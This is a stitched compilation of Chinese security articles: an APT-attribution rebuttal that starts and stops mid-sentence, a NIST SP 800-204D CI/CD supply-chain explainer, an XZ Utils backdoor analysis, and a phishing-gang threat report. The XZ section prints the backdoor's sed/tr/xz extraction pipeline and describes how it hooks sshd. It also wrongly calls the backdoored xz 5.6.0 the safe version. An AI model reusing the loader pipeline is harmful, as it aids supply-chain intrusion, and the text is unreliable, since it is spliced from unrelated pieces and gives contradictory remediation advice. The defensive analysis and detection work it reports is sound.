圖3‑6方程式攻擊組織多平台操作系統覆蓋能力(2016.11)

2023年,安天曝光了“方程式”組織針對iOS的樣本[9],報告與卡巴斯基報告“三角測量行動”互動,分別曝光了美方通過“量子”系統劫持投放和基於手機iMessage服務漏洞投放攻擊iOS手機的攻擊方式。安天在報告中還發布了“量子”系統的攻擊能力圖譜和美方支撐攻擊系統運行的關係圖譜。

3-7.png

圖3‑7 “量子”系統可攻擊場景圖譜化分析(2023.6)

顯然,SentinelOne報告的編寫者可能沒有認真閱讀過中國企業發布的任何一篇APT分析報告,其研究習慣是:依托各安全機構報告的發佈時間來進行關聯推理,他們並未意識到(或者不願意正視)在每一次的連鎖接力中,中國網絡安全廠商與其他國家同行所發布的是不同的成果;而且顯然,他們缺乏深入分析APT事件的經驗和形成重量級分析報告的能力,從而意識不到中國廠商能夠在其他國際同行發布分析成果後迅速跟進、發布具有相關性的成果,其實是由於這些報告的主體部分早已形成,只是在等待發布的時機。我們篤定:對於2023年6月1日卡巴斯基所發布的“三角測量”行動報告和安天在6月9日所發布的“量子系統擊穿蘋果手機”報告,他們沒有讀懂。

因為很顯然,除了目標都是iOS之外,卡巴斯基和安天講述的是兩組完全不同的攻擊活動。卡巴斯基所曝光的攻擊是基於iMessage投放的,而安天曝光的攻擊是基於“量子”系統通過流量劫持投放的。在2023年6月1日發布報告時,卡巴斯基還沒有展開樣本分析,進行的是攻擊流量和行為分析(卡巴斯基真正的樣本分析成果發佈於2023年12月),而安天曝光的是一個早期捕獲的iOS樣本的儲備報告。這是兩組獨立的分析成果,我們只是為國際同行打了一個助攻而已。

4.攔截失控的分身帶給全球網絡安全工作者巨大壓力和乾擾的,並不只是A2PT攻擊本身。如果從事件的數量、攻擊的範圍這種統計學指標來看,美方對網絡軍備擴散的縱容和網絡軍火管理失控導致的網絡黑產與犯罪給全球帶來了更大的麻煩。

2015年,我們發現一例針對中國某機構的APT攻擊事件[10]。從最開始捕獲的加密數據包,到後來發現其利用註冊表數據塊完成的持久化,我們都以為這是一起A2PT組織發起的攻擊,但直到將其導入到安天賽博超腦平台進行同源性比對後才發現:這是由美國企業發布的自動化攻擊測試平台Cobalt Strike生成的攻擊載荷,被利用來對我們發動攻擊。

4-1.png

圖4‑1樣本模塊與Beacon生成模塊的對比分析圖(2015.5)

4-2.png

圖4‑2對Cobalt Strike創始人軍事背景的分析(2015.5)

安天在報告中指出“網絡空間已經存在嚴峻的網絡軍備擴散風險,超級大國能否合理控制自身網絡軍備發展的速度和規模,並對因自身未有效履行責任而使網絡領域發生可能的軍備擴散,進行有效的干預和控制,是我們能否達成一個更安全的網絡世界的關鍵因素。”

結果一語成讖。時隔兩年,美方便帶給全球一次更大的麻煩,因美方的影子經紀人洩露事件導致使用“永恆之藍”漏洞的WannaCry蠕蟲事件,該蠕蟲僅利用美國NSA“網絡軍火”中的“永恆之藍”(Eternalblue)漏洞,就製造了一場遍及全球的巨大網絡災難。

儘管我們在2016年的網絡安全威脅年報[11]中,對勒索病毒有可能和蠕蟲合流的趨勢做了預判,但我們並沒有想到幾個月後就以如此迅猛的方式表現。儘管如此,在針對WannaCry的溯源判斷上,我們還是堅持了中國網絡安全工作者的客觀和嚴謹。雖然其使用的高級漏洞利用工具毫無疑問的來自美方的武器洩露,我們依然依靠WannaCry的歷史樣本同源等多組線索,向中國網絡安全應急組織給出了我們對於WannaCry的來源判斷,以及其並非由美方開發的結論。但這一結論並不意味著,包括中國用戶在內的WannaCry受害者不需要追究美方網絡軍備失控的責任,包

1.前言在敏捷開發的模式下,應用程序會通過DevSecOps 的敏捷軟件開發生命週期(SDLC)範式進行開發,並使用持續集成/持續交付(CI/CD)管道的流程。

然而,在軟件開發、供應和交付運營中涉及的數字應用、基礎設施服務和供應鏈數據等各種活動中(這些活動共同構成了數字供應鏈),攻擊者可以通過鏈條中的一個薄弱點,隱蔽地引入攻擊載體,對數字供應鏈進行攻擊,繼而引發廣泛的後果。

日前,美國國家標準與技術研究院(NIST)發布了特別出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基於此文,引發深入討論,闡述如何將數字供應鏈安全保證措施集成到CI/CD 管道中以保護底層活動完整性,從而確保將源代碼帶入構建、測試、打包和部署階段的CI/CD 管道活動不會受到損害。

2.數字供應鏈(DSC)的定義從高層次上講,軟件供應鍊是創建、轉換和評估軟件製品質量和政策一致性的一系列步驟的集合。這些步驟通常由使用和消費製品以生成新製品的不同參與者執行。例如,構建步驟使用一系列人工製品作為工具(如編譯器和鏈接器),並消耗人工製品(如源代碼)來生成新的人工製品(如編譯後的二進製文件)。

我們以往所熟知的軟件供應鍊主要是基於傳統軟件供應關係,通過資源和開發供應過程將軟件產品從供方傳遞給需方的網鏈系統。而這樣的定義如今已無法適應數字經濟時代由於技術創新帶來的產品服務、基礎設施和供應鏈數據等供應對象及供應關係的新變化。

因此,數字供應鏈的概念在軟件供應鏈的基礎上應運而生。數字供應鍊主要由數字應用、基礎設施服務、供應鏈數據三大主要供應對象組成。其中,數字應用包括軟件、Web、固件等,基礎設施服務是指雲服務、IT託管服務等,而供應鏈數據則包括基礎數據和敏感信息。

相較於軟件供應鏈,數字供應鏈更加明確的指出了基礎設施服務和供應鏈數據代表產品服務在供應活動中發揮的建設作用及重要性。

图片1.png

圖1:在數字供應鏈步驟中不同要素之間的互動

數字供應鏈中的大多數活動都會對最終的應用產品產生重大影響。因此,每項活動的安全性對於最終結果的安全性至關重要。在供應鏈引入、生產鏈、供應鏈交付運營的過程中,構建、打包和交付數字應用,重新打包和容器化以及基礎設施服務安全上線運營等都是數字供應鏈的核心範疇。

3.數字供應鏈安全:重點內容和風險因素3.1數字供應鏈安全的重點內容在研國標《信息安全技术 软件供应链安全要求》 明確了軟件供應鏈安全保護目標,分別包括提升軟件產品或服務中斷供應等風險管理能力、提升供應活動引入的技術安全風險管理能力、提升軟件供應鏈數據安全風險管理能力。

數字供應鏈安全作為軟件供應鏈安全概念的關鍵演進,其發展建立在軟件供應鏈安全的基礎之上。相比之下,數字供應鏈安全涉及的保護範圍更廣,保護對象的內涵更加豐富。數字供應鏈安全的重點內容包括:

•數字應用安全:圍繞數字應用的開發全流程與上線運營整體階段,包含應用安全開發(DevSecOps/SDL)、開源治理(合規/風險)和數字免疫(防禦左移,代碼疫苗)。

•基礎設施服務安全:包含雲原生安全(CNAPP)和供應鏈環境安全。

•供應鏈數據安全:包含API安全和應用數據安全。

3.2數字供應鏈中的風險因素數字供應鏈的風險因素通常包括:

•開發環境中的漏洞:開發環境對數字供應鏈的安全性構成了根本性的風險,不應將其作為構建流程的一部分加以信任。成熟的SDLC 流程只有在代碼審查和掃描程序到位後,才會將代碼和資產納入其軟件配置管理(SCM) 主線和版本分支。

•威脅參與方:一般是尋求以特權方式訪問數字供應鏈的外部攻擊者,或心懷不滿、製造內部威脅的員工或供應商;非惡意的威脅參與方也可能影響供應鏈的安全,如軟件工程師由於缺乏工具或為了方便使用而故意隱瞞,導致機密管理不善。

•攻擊向量:包括惡意軟件、代碼重用(代碼級別的引入)、依賴庫和依賴組件的引入、社會工程學、網絡攻擊、物理攻擊等。

•攻擊目標(即資產):包括源代碼、憑證、敏感信息,如個人身份信息(PII)、受保護健康信息(PHI)、知識產權(IP)、加密材料(如軟件成品簽名密鑰)和專有信息等。

•利用類型:入侵行為通常包括在數字供應鏈中註入易受攻擊或惡意的依賴項、可訪問其他系統的被盜憑證、將惡意代碼或漏洞代碼注入資源庫、通過提交合併請求竊取機密等。

4.CI/CD 管道的安全目標和可信實體在CI/CD 流水線中,實現數字供應鏈安全的一個共同方法是生成盡可能多的出處數據。出處數據與系統或系統組件的起源、開發、所有權、位置和更改的時間順序相關聯,包括促成這些更改或修改的人員和流程。在生成這些數據的同時,還應有相應的機制對其進行驗證、認證,並在決策中加以利用。

總的來說,CI/CD 管道需要添加的安全保證措施:

•在開發和部署第一方軟件時採用的數字供應鏈內部安全做法;

•在採購、集成和部署第三方軟件(即開源和商業軟件模塊)時採用的安全做法。

4.1 CI/CD 管道的安全目標在CI/CD 管道中應用數字供應鏈安全措施或實踐有兩個安全目標:

1.積極維護CI/CD 管道和構建流程。

2.確保上游源頭和製品(如資源庫)的完整性。

最常見的方法是在CI/CD 平台中引入安全措施,使開發人員能夠自動構建、測試和部署管道。

4.2 CI/CD 管道中需要信任的實體零信任架構側重於保護硬件系統(如服務器)、服務和應用程序本身等資源。訪問這些資產的實體(如用戶、服務和其他服務器)本身並不值得信任,零信任架構的主要目標就是建立這種信任。

在CI/CD 管道中,信任的範圍要大得多,至少需要以下步驟:

•參與執行各種數字供應鏈活動(如供應鏈引入、生產鏈、供應鏈交付運營)的實體應通過驗證憑證進行身份驗證。在認證的基礎上,根據企業業務政策,通過一個稱為授權的過程,為這些實體分配適當的權限或訪問權。

•應通過驗證與之相關的數字簽名來確保人工製品及其存儲庫的完整性。這種完整性保證產生信任。

•在整個CI/CD 系統中,上述信任的建立應該是一個循環往復的過程,因為製品要經過不同的存儲庫才能最終成為最終產品。

•每個構建步驟的輸入和輸出都應經過驗證,以確保預期組件或實體執行了正確的步驟。

表1舉例說明了典型的CI/CD 管道中需要信任的實體。

图片2.png

表1:信任實體

5.將數字供應鏈安全集成到CI/CD 管道中為了概述將數字供應鏈安全集成到CI/CD 管道中的策略,有必要了解這兩種管道各自的流水線及其總體安全目標。

激活CI/CD 管道的前提條件如下:

•加固CI/CD 執行環境(如虛擬機或Pod),減少攻擊面。

•為操作各種CI/CD 管道的人員(如應用程序更新人員、軟件包管理員、部署專家)定義角色。

•確定執行各種任務的細粒度授權,如生成代碼並提交到SCM、生成構建和軟件包,以及檢查各種製品(如構建和軟件包)進出版本庫。

•通過部署適當的工具,實現整個CI/CD 管道的自動化。 CI 和CD 流水線的驅動工具處於更高的級別,會調用一系列特定功能的工具,如用於從版本庫中檢出代碼、編輯和編譯、代碼提交和測試的工具,這包括軟件成分分析SCA工具、靜態應用安全測試SAST和動態應用安全測試DAST等。一般來說,驅動工具或構建控制平面的執行信任度要高於構建等單個功能步驟。

•為應用程序代碼的開發和部署定義CI/CD 管道活動和相關安全要求;基礎設施即代碼,包含部署平台的詳細信息;策略即代碼和配置代碼,指定運行時設置(如另一種標記語言(YAML) 文件)。

5.1 確保CI 管道中工作流的安全CI 管道中的流水線主要包括構建操作、版本庫(公共和私有)的PULL/PUSH操作、軟件更新和代碼提交。

用於安全運行CI 管道的框架的總體安全目標包括:

•同時支持雲原生應用和其他類型應用的能力。

•符合標準的證據結構,如元數據和數字簽名。

•支持多種硬件和軟件平台。

•支持生成證據的基礎設施(例如SBOM 生成器、數字簽名生成器)。

5.1.1 安全構建要在構建過程中獲得數字供應鏈安全保證,需要完成以下任務:

1)指定有關構建的政策,包括使用安全隔離平台執行構建並加固構建服務器,用於執行構建的工具,以及執行構建流程的開發人員所需的身份驗證/授權。

2)使用代理和策略執行引擎等技術執行這些構建策略。

3)確保同時生成構建認證的證據,以證明在軟件交付期間符合安全構建流程。

促進第二項任務的常用技術是將CI 工具的命令與收集證據的功能結合起來,並最終創建整個SDLC 的證據跟踪。

第一類證據來自構建系統本身,它應能確認所使用的工具或流程處於隔離環境中。這可提供內部操作保證。第二類應收集的證據包括最終構建製品、文件、庫和製品中使用的其他材料以及所有事件的哈希值。然後,由構建框架中不受開發人員控制的可信組件使用數字證書對其進行簽名,以創建證書,從而為消費者提供軟件質量的可驗證證明,使他們能夠獨立於軟件生產者驗證該製品的質量,從而為消費者提供保證。在這種情況下,製品是由一系列CI 流程步驟生成的構建。

就'同時生成證據'而言,生成的證據應由信任度或隔離度高於構建本身的流程啟用,以防止篡改。此類證據的生成需要在構建過程中進行驗證。

構建階段的認證由以下部分組成:

1.環境認證:涉及CI 流程發生時的系統清單,一般指運行構建流程的平台。平台的組件(如編譯器、解釋器)必須經過加固、隔離和安全處理。

2.過程認證:涉及將原始源代碼或材料轉化為人工製品的計算機程序(如編譯器、打包工具)和/或對該軟件進行測試的程序(如代碼測試工具)。對於只觀察CI 流程的工具來說,有時很難區分哪些數據應填入流程證明,哪些數據應填入材料認證。執行源轉換的工具讀取的文件可能會影響轉換工具的選擇,也可能包含在轉換本身的輸出中。因此,流程證明的填充應被視為'盡力而為'。

3.材料認證:涉及任何原始數據,可包括配置、源代碼和其他數據(如依賴關係)。

4.製品認證:製品是CI 流程的結果或成果。例如,如果CI 流程步驟涉及在C 語言編寫的源代碼上運行編譯器(如GNU 編譯器集(GCC)),那么生成物就是該源代碼的可執行二進製文件。如果該步驟涉及在同一源代碼上運行SAST 工具,則生成物將是'掃描結果'。生成該製品的步驟可以是最終步驟,也可以是中間步驟。與新生成產品有關的證明屬於人工製品證明類別。

與簽名證據(即認證)及其存儲相關的要求必須包括以下內容:

•認證必須使用安全密鑰進行加密簽名。

•存儲位置必須防篡改,並使用強大的訪問控制加以保護。

這些認證可用於評估政策合規性。政策是一份簽名文件,其中包含了對要驗證的製品的要求。該策略可能包括檢查參與CI 流程的每個職能部門是否使用了正確的密鑰來生成證明,是否找到了所需的證明,以及是否指定了根據相關元數據評估證明的方法。該策略使核查人員能夠在製品生命週期的任何時刻跟踪其合規狀態。

上述能力共同提供了以下保證:

•軟件由授權系統按照正確的步驟順序使用授權工具(如每個步驟的基礎設施)構建。

•沒有證據表明存在潛在的篡改或惡意活動。

5.1.2 對存儲庫進行安全的PULL-PUSH操作數字供應鏈的第一項安全任務是確保源代碼開發實踐的安全。在CI/CD 管道中,代碼駐留在資源庫中,由授權開發人員使用PULL 操作提取、修改,然後使用PUSH 操作放回資源庫。要授權這些PULL-PUSH 操作,需要兩種形式的檢查:

1.授權執行PULL-PUSH操作的開發人員所需的驗證類型。開發人員提出的請求必須與其角色(如應用程序更新者、軟件包管理器)相符。擁有'合併審批'權限的開發人員不能審批自己的合併。

2.代碼庫中代碼的完整性值得信賴,可用於進一步更新。

確保代碼庫中代碼可信度的各種機制包括:

•PULL-PUSH請求1:項目維護者應對推送的變更中涉及的所有製品進行自動檢查,如單元測試、襯墊、完整性測試、安全檢查等。

•PULL-PUSH請求2:只有在對工具源代碼來源的可信度有信心的情況下,才能使用這些工具運行CI 流水線。

•PULL-PUSH請求3:版本庫或源代碼管理系統(如GitHub、GitLab)應a) 在沙箱環境中運行CI 工作流,不允許訪問網絡、任何特權訪問或讀取機密;或b) 具有內置保護功能,可延遲CI 工作流的運行,直至獲得具有寫入權限的維護者批准。當外部貢獻者向公共版本庫提交拉取請求時,這種內置保護就會生效。這種保護的設置應該是最嚴格的,例如'要求所有外部合作者批准'。

•PULL-PUSH請求4:如果源代碼管理系統中沒有內置保護功能,則需要具有以下功能的外部安全工具:

評估和加強SCM系統安全態勢的功能,無論有無策略(如開放策略代理(OPA)),都能評估SCM賬戶的安全設置,並生成一份包含可行建議的狀態報告。

通過檢測和修復錯誤配置、安全漏洞和合規問題,提高源代碼管理系統安全性的功能。

5.1.3 軟件更新期間證據生成的完整性軟件更新過程通常由一類特殊的軟件開發工具執行,該工具被稱為軟件更新系統。對軟件更新系統的威脅主要針對證據生成過程,目的是清除更新的痕跡,阻止確定更新是否合法的能力。

軟件更新系統有多種類型:

•軟件包管理器負責管理系統中安裝的所有軟件

•只負責個別已安裝應用程序的應用程序更新程序

•軟件庫管理器,用於安裝可增加功能的軟件,如插件或編程語言庫。

軟件更新系統的主要任務是識別給定更新票據所需的文件,並下載可信文件。乍一看,建立下載文件信任所需的唯一檢查似乎就是通過驗證與單個文件或軟件包相關的元數據上的簽名來執行的各種完整性和真實性檢查。然而,簽名生成過程本身可能會受到已知攻擊的影響,因此軟件更新系統需要許多與簽名生成和驗證相關的其他安全措施。

為軟件更新系統提供安全保障的不斷發展的框架已將其中許多必要的安全措施納入其規範,並為未來的規範規定了其他一些措施。框架是一套庫、文件格式和實用程序,可用於確保新的和現有軟件更新系統的安全。框架應通過要求在執行簽名操作前滿足第5.1.1節中定義的策略來保護簽名操作。以下是該框架的部分共識目標:

•該框架應能防範對軟件更新系統所執行任務的所有已知攻擊,如元數據(哈希值)生成、簽名過程、簽名密鑰管理、執行簽名的機構的完整性、密鑰驗證和簽名驗證。

•該框架應提供一種方法,通過支持具有多個密鑰和閾值或法定人數信任的角色(旨在使用單個密鑰的最低信任角色除外),將密鑰洩露的影響降至最低。對使用高危密鑰的角色來說,密鑰洩露的影響應該是最小的。因此,在線密鑰(即以自動方式使用的密鑰)不應用於客戶最終信任其可能安裝的文件的任何角色。當密鑰在線使用時,應格外小心保管,例如將其存儲在硬件安全模塊(HSM) 中,並且只有在被簽名的製品通過第5.1.1節中定義的策略時才允許使用。

•該框架必須足夠靈活,以滿足各種軟件更新系統的需求。

•該框架必須易於與軟件更新系統集成。

5.1.4 安全代碼提交代碼提交前應進行適當形式的測試,且必須滿足以下要求:

•SAST 和DAST 工具(涵蓋開發中使用的所有語言)應在CI/CD 管道中運行,並向開發人員和安全人員提供代碼覆蓋率報告.

•如果使用開源模塊和庫,則必須列舉、了解和評估依賴關係(通過使用SCA 工具,如源鑑SCA開源威脅管控平台)。此外,還必須測試它們應滿足的安全條件。依賴關係文件檢測器應檢測所有依賴關係,包括傳遞依賴關係,最好不限制要分析的嵌套依賴關係或傳遞依賴關係的深度。

代碼提交過程中所需的一種安全措施是防止秘密進入提交的代碼。這可以通過對秘密的掃描操作來實現,並產生一種稱為推送保護的功能。該功能應滿足以下要求:

•提交請求1:(例如,個人訪問令牌) 評估已提交代碼是否符合組織政策,包括是否存在密鑰和應用程序編程接口(API) 令牌等機密。檢測到的秘密應通過安全儀錶盤等媒體顯著顯示,並在檢測到違反政策時生成適當的警報,同時記錄補救違反政策的方法。

•提交請求2:分配給管理員的所有版本庫都應啟用推送保護功能。此類保護應包括開發人員身份/授權驗證、強制執行開發人員對代碼提交的簽名以及文件名驗證。

5.2 確保CD管道中流水線的安全以下是CD 過程中應使用的一些盡職調查措施。這些措施可以通過定義允許或不允許部署製品的驗證策略來實施。

•部署請求1:對於已在版本庫中並準備部署的代碼,應調用安全掃描子功能來檢測代碼中是否存在密鑰和訪問令牌等機密。在許多情況下,即使在代碼填充之前,也應掃描版本庫中是否存在秘密,因為根據版本庫的可見性,秘密出現在版本庫中可能意味著憑證已經洩露。

•部署請求2:在合併拉取請求之前,應該可以通過依賴性審查的形式查看任何易受攻擊版本的詳細信息。

•部署請求3:如果已經建立了安全的構建環境和相關流程,那麼就應該可以指定部署的製品(即容器鏡像)必須是由該構建流程生成的,這樣才能允許部署。

•部署請求4:應該有證據表明容器鏡像已進行過漏洞掃描並證明了漏洞發現。漏洞掃描的一個重要因素是運行時間。由於用於掃描製品的工具會不斷更新以檢測新出現的漏洞,因此與過去的掃描結果相比,最近的掃描結果更有可能是準確的,並能提供更好的保證。這種技術可確保只有經過驗證的容器鏡像才能進入環境,並在運行期間保持可信,從而使DevOps 團隊能夠實施主動的容器安全態勢。具體來說,應該可以根據組織定義的策略允許或阻止鏡像部署。

•部署請求5:應定期檢查發行版構建腳本是否存在惡意代碼。需要執行的具體任務包括:

容器鏡像一經構建,甚至在推送到註冊表之前,就應進行漏洞掃描。早期掃描功能也可以內置到本地流水線中。

用於與包含容器鏡像和語言包的資源庫進行交互的工具應能與CD工具集成,從而使所有活動成為自動CD管道的組成部分。

5.2.1 安全CD 管道-GitOps在CI/CD 管道中,構建期間和之後的所有操作都涉及與中央存儲庫(如Bitbucket、GitHub 和GitLab)的交互。這些操作統稱為GitOps,是一種由Argo CD 和Flux 等開源工具推動的自動化部署流程。 GitOps 既適用於基礎架構代碼,也適用於應用代碼,包括提交、分叉、拉取和推送請求。

GitOps 的使用範圍如下:

•將基礎設施作為代碼進行管理

•管理和應用群集配置

•將容器化應用程序及其配置自動部署到分佈式系統。

在部署前創建配置數據、捕獲與特定版本相關的所有數據、運行期間修改軟件以及執行監控操作時,應執行以下數字供應鏈安全任務:

•GitOps請求1:流程應依靠自動化而非手工操作。例如,應避免手動配置數百個YAML 文件來回滾Git 倉庫集群上的部署。

•GitOps請求2:為GitOps 提供便利的軟件包管理器應保存已發佈軟件包的所有數據,包括所有模塊的版本號、所有相關配置文件以及其他適合軟件運行環境的元數據。

•GitOps請求3:不應在運行時手動應用變更(如kubectl)。相反,應該對相關代碼進行更改,並觸發包含這些更改的新版本。這樣才能確保Git 提交始終是集群中運行內容的唯一真實來源。

•GitOps請求4:由於Git 倉庫包含應用程序定義和配置代碼,因此應自動提取並與這些配置的指定狀態進行比較(即監控和補救漂移)。對於任何偏離指定狀態的配置,可執行以下操作:

管理員可以選擇自動將配置重新同步到定義的狀態。

應就差異發出通知,並進行人工補救。

5.3 數字供應鏈CI/CD 管道安全-實施策略如果不對基本業務流程和運營成本造成巨大影響,所有企業都不可能一次性實施數字供應鏈安全所需的大量步驟。相反,提供數字供應鏈安全性的解決方案可大致分為以下幾類:

1.通過與DevSecOps 管道中每項任務相關的功能確保數字供應鏈安全的解決方案:

a.通過確保不被篡改的構建管道來驗證軟件的正確構建,例如提供對構建過程中使用的依賴關係和步驟的可驗證可見性,因為被破壞的依賴關係或構建工具是中毒流水線的最大來源。

b.為交付流水線的每個步驟指定核對清單,以便為實施提供指導,並檢查和執行對核對清單遵守情況的控制。

2.通過數字簽名和證書確保完整性和出處的解決方案。

3.確保運行代碼為最新代碼的策略,如製定'構建期限'(即超過一定期限的代碼不應啟動),以盡可能使生產過程與軟件源中已提交的代碼保持一致。

4.保護CI/CD 客戶端,防止惡意代碼竊取機密信息(如專有源代碼、簽名密鑰、雲憑證)、讀取可能包含機密的環境變量,或將數據外洩到敵方控制的遠程端點。

6.結語敏捷開發模式下數字應用以最快速度將代碼從IDE或Git存儲庫帶到生產環境中,加快了部署速度,提升了業務系統上線的效率,但數字供應鏈的安全性對於敏捷開發範式來說同樣至關重要,任何一個漏洞都可能造成巨大的損失。

作為數字供應鏈安全開拓者和DevSecOps敏捷安全領導者,懸鏡將持續帶來專業的國際化視角,與行業同仁及用戶共同探討交流,踐行網絡安全社會責任,守護中國數字供應鏈安全。

漏洞概述image.png

2024年3月29日,開發人員Andres Freund在安全郵件列表上報告稱,他在調查SSH性能問題時發現了涉及XZ包中的供應鏈攻擊,分析後發現是SSH使用的上游liblzma庫被植入了後門代碼,可能允許攻擊者通過後門非授權訪問系統。

XZ Utils 是一款用於壓縮和解壓縮.xz 和.lzma 文件的工具集。 XZ Utils 由Lasse Collin 開發,是一個開源項目,廣泛應用於各種操作系統中,受影響開源操作系統可在https://repology.org/project/xz/versions中查詢.xz 文件格式是一種基於LZMA2 壓縮算法的文件格式,它提供了比傳統gzip 更高的壓縮比,同時保持了相對較高的解壓縮速度。 XZ Utils v5.6.0和v5.6.1中tar包的編譯文件被植入惡意命令。在某些特定編譯環境下,惡意命令執行後將替換正常編譯過程中的中間文件為後門文件,最後和其他組件一起編譯到XZ Utils的Liblzma庫文件中。當後門代碼被執行時,將掛鉤(HOOK)SSHD進程中的SSH登錄認證函數。當接收到指定的SSH數據包時,將未授權執行指定的系統命令。

漏洞細節分析1、植入流程目前XZ Utils的Github倉庫(https://github.com/tukaani-project/xz)已無法訪問。筆者分析時使用的版本是從其他鏡像網站下載的xz-5.6.1.tar.gz。初始惡意代碼主要在文件build-to-host.m4中。

screenshot-20240403-093338.png

這條命令拼接後為:sed 'r\n' ./tests/files/bad-3-corrupt_lzma2.xz | tr '\t \-_' ' \t_\-' | xz -d 2 /dev/null,主要從./tests/files/bad-3-corrupt_lzma2.xz中提取代碼並解壓,最後再執行。

提取出的代碼如下:

screenshot-20240403-093405.png

這部分代碼執行後,判斷是否為Linux系統,如果不是,則退出。

後面的代碼繼續從./tests/files/good-large_compressed.lzma文件中提取後續代碼,再解壓後執行。

提取的代碼如下:

screenshot-20240403-093440.png

提取出的代碼較多,主要功能是檢測到環境不適合時就退出,不執行植入後門的邏輯;如果環境合適,則繼續提取./tests/files/下的文件,然後替換編譯的中間過程文件liblzma_la-crc64-fast.o和liblzma_la-crc32_fast.o,最後編譯到XZ Utils的庫文件Liblzma中。

screenshot-20240403-093504.png

根據以上提取的代碼可知,在如下環境編譯將不會植入後門:

1、不是Linux系統(uname不為Linux)

2、沒有IFUNC.IFUNC是GLIBC中用於覆蓋符號的一個功能

3、不編譯動態庫(sharedobject)

4、不是x86_64,或者targettriple結尾不是linux-gnu

5、編譯器不是GCC,或者鏈接器不是GNUld

6、從測試文件中解壓預編譯的二進製文件

7、修改源碼和構建腳本

此外,指令集擴展檢測函數被替換掉,比原函數多一個參數,作用未知。

screenshot-20240403-093722.png

2、後門功能被植入後門的Liblzma庫文件被進程加載運行後,將進行一系列環境檢查,檢查通過再執行後門功能,包括:

1、未設置TERM環境變量

2、Argv[0]需要是/usr/sbin/sshd

3、LD_DEBUG、LD_PROFILE未設置

4、需要設置LANG

5、未檢測到調試器

screenshot-20240403-093823.png

通過以上檢查後,執行後門核心功能,主要功能是掛鉤(HOOK)SSH登錄認證過程中的函數RSA_public_decrypt,未授權執行指定的系統命令。即使用指定SSH證書進行登錄時,從公鑰中提取攻擊負載,然後進一步校驗,最後使用ChaCha20算法解密,將解密後數據作為命令執行。

screenshot-20240403-093859.png

部分已分析的函數功能如下:

screenshot-20240403-093926.png

漏洞檢測1、查看本地系統是否安裝了受影響版本的XZ,安全版本為xz5.6.0,xz --version

2、使用Openwall上發布的腳本檢查系統是否被感染後門,後門發現者提供的檢測腳本,判斷SSHD程序依賴的Liblzma庫文件二進制數據中是否包含後門特徵碼,該特徵碼為:

#! /bin/bashset -eu# find path to liblzma used by sshdpath='$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')'# does it even exist?if [ '$path'=='' ]then echo probably not vulnerable exitfi# check for function signatureif hexdump -ve '1/1 '%.2x'' '$path' | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi

f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410,對應植入過程中的liblzma_la-crc64-fast.o文件,對應函數為get_cpuid。

screenshot-20240403-094025.png

解決方案官方暫未更新版本或補丁,建議相關用戶卸載含後門的版本,回退到未包含後門的穩定版本v5.4.6,並及時關注官方新版本更新。

screenshot-20240403-094052.png

參考鏈接https://www.openwall.com/lists/oss-security/2024/03/29/4

https://access.redhat.com/security/cve/CVE-2024-3094

https://www.openwall.com/lists/oss-security/2024/03/29/4

https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504

https://avd.aliyun.com/detail?id=AVD-2024-3094

https://github.com/Midar/xz-backdoor-documentation/wikihttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4

https://git.tukaani.org/?p=xz.git;a=summary

文章來源:烽火台實驗室

封面图.jpg

1 概覽“遊蛇”黑產自2022年下半年開始活躍至今,針對國內用戶發起了大量釣魚攻擊和詐騙活動。該類黑產傳播的惡意程序變種多、更新免殺手段快、更換基礎設施頻繁、攻擊目標所涉及的行業廣泛。近期,安天CERT監測到“遊蛇”黑產針對與金融、財務相關的企業及人員進行的攻擊活動。攻擊者投放的初始惡意文件主要有三類:可執行程序、CHM文件、商業遠控軟件“第三隻眼”,偽造的文件名稱大多與財稅、資料、函件等相關。

由於商業遠控軟件“第三隻眼”提供多方面的遠程監控及控制功能,並且將數據回傳至廠商提供的子域名服務器、根據qyid值識別控制端用戶,攻擊者無需自己搭建C2服務器,因此惡意利用該軟件進行的攻擊活動近期呈現活躍趨勢。

“遊蛇”黑產仍在頻繁地對惡意軟件、免殺手段以及相關基礎設施進行更新,每天依舊有一定數量的用戶遭受攻擊並被植入遠控木馬。安天CERT建議用戶接收文件時保持警惕,避免點擊安全性未知的可執行程序、腳本等文件,以免遭受“遊蛇”攻擊,造成不必要的損失。建議未購買使用“第三隻眼”遠控軟件的用戶,使用流量監測設備檢查網絡中是否存在與“dszysoft.com”及其子域名相關的連接記錄,若存在則表明可能被惡意植入了相關遠控,用戶也可以考慮對相關域名進行封禁。

經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該類遠控木馬的有效查殺。相關防護建議詳見本文第四章節。

2技術梳理近期,安天CERT監測到攻擊者投放的初始惡意文件主要有三類,偽造的文件名稱大多與財稅、資料、函件等相關。

表2‑1近期部分樣本偽裝名稱

偽裝的程序名稱

企業補貼名單.exe

企業納稅新系統.exe

企業稅務稽查名單.exe

2024年企業稅收減免新政策.exe

律-師-函102803912.exe

律師函.exe

資料.exe

0328.CHM

公司全套資料.CHM

20240325.CHM

2.1 可執行程序此類可執行程序通常是下載器,執行後在內存中執行Shellcode,從攻擊者事先準備的服務器中獲取下一階段的載荷文件,並使用“白加黑”、“內存執行Shellcode”、“內存解密Payload”等手段最終加載執行Gh0st等遠控木馬。

2.2 CHM文件此類CHM文件執行後會彈出“內容已損壞,無法繼續瀏覽,請關閉”字樣。實際上,其內部腳本中的代碼此時已經執行,通過遠程加載xsl文件的方式,獲取下一階段的載荷文件,並使用“白加黑”等手段最終加載執行Gh0st等遠控木馬。

图 2-1 CHM文件执行后弹出的内容.png

圖2‑1 CHM文件執行後彈出的內容

2.3 商業遠控軟件“第三隻眼”攻擊者有時也會直接將經過偽裝的“第三隻眼”安裝包發送給目標用戶,並誘導執行。攻擊者傳播的安裝包通常以靜默方式進行安裝,過程中無界面顯示。此外,也存在攻擊者通過已經植入的遠控木馬進行遠程安裝的情況。

由於該款商業遠控軟件能夠提供多方面的遠程監控及控制功能,並且通過將數據發送至廠商提供的子域名服務器、根據qyid值識別控制端用戶的方式回傳數據,因此黑產團伙已多年惡意利用該遠控軟件進行攻擊活動,近期依然呈現活躍趨勢。該遠控軟件某一版本的控制端界面如下圖所示。

图 2-2 控制端界面.png

圖2‑2 控制端界面

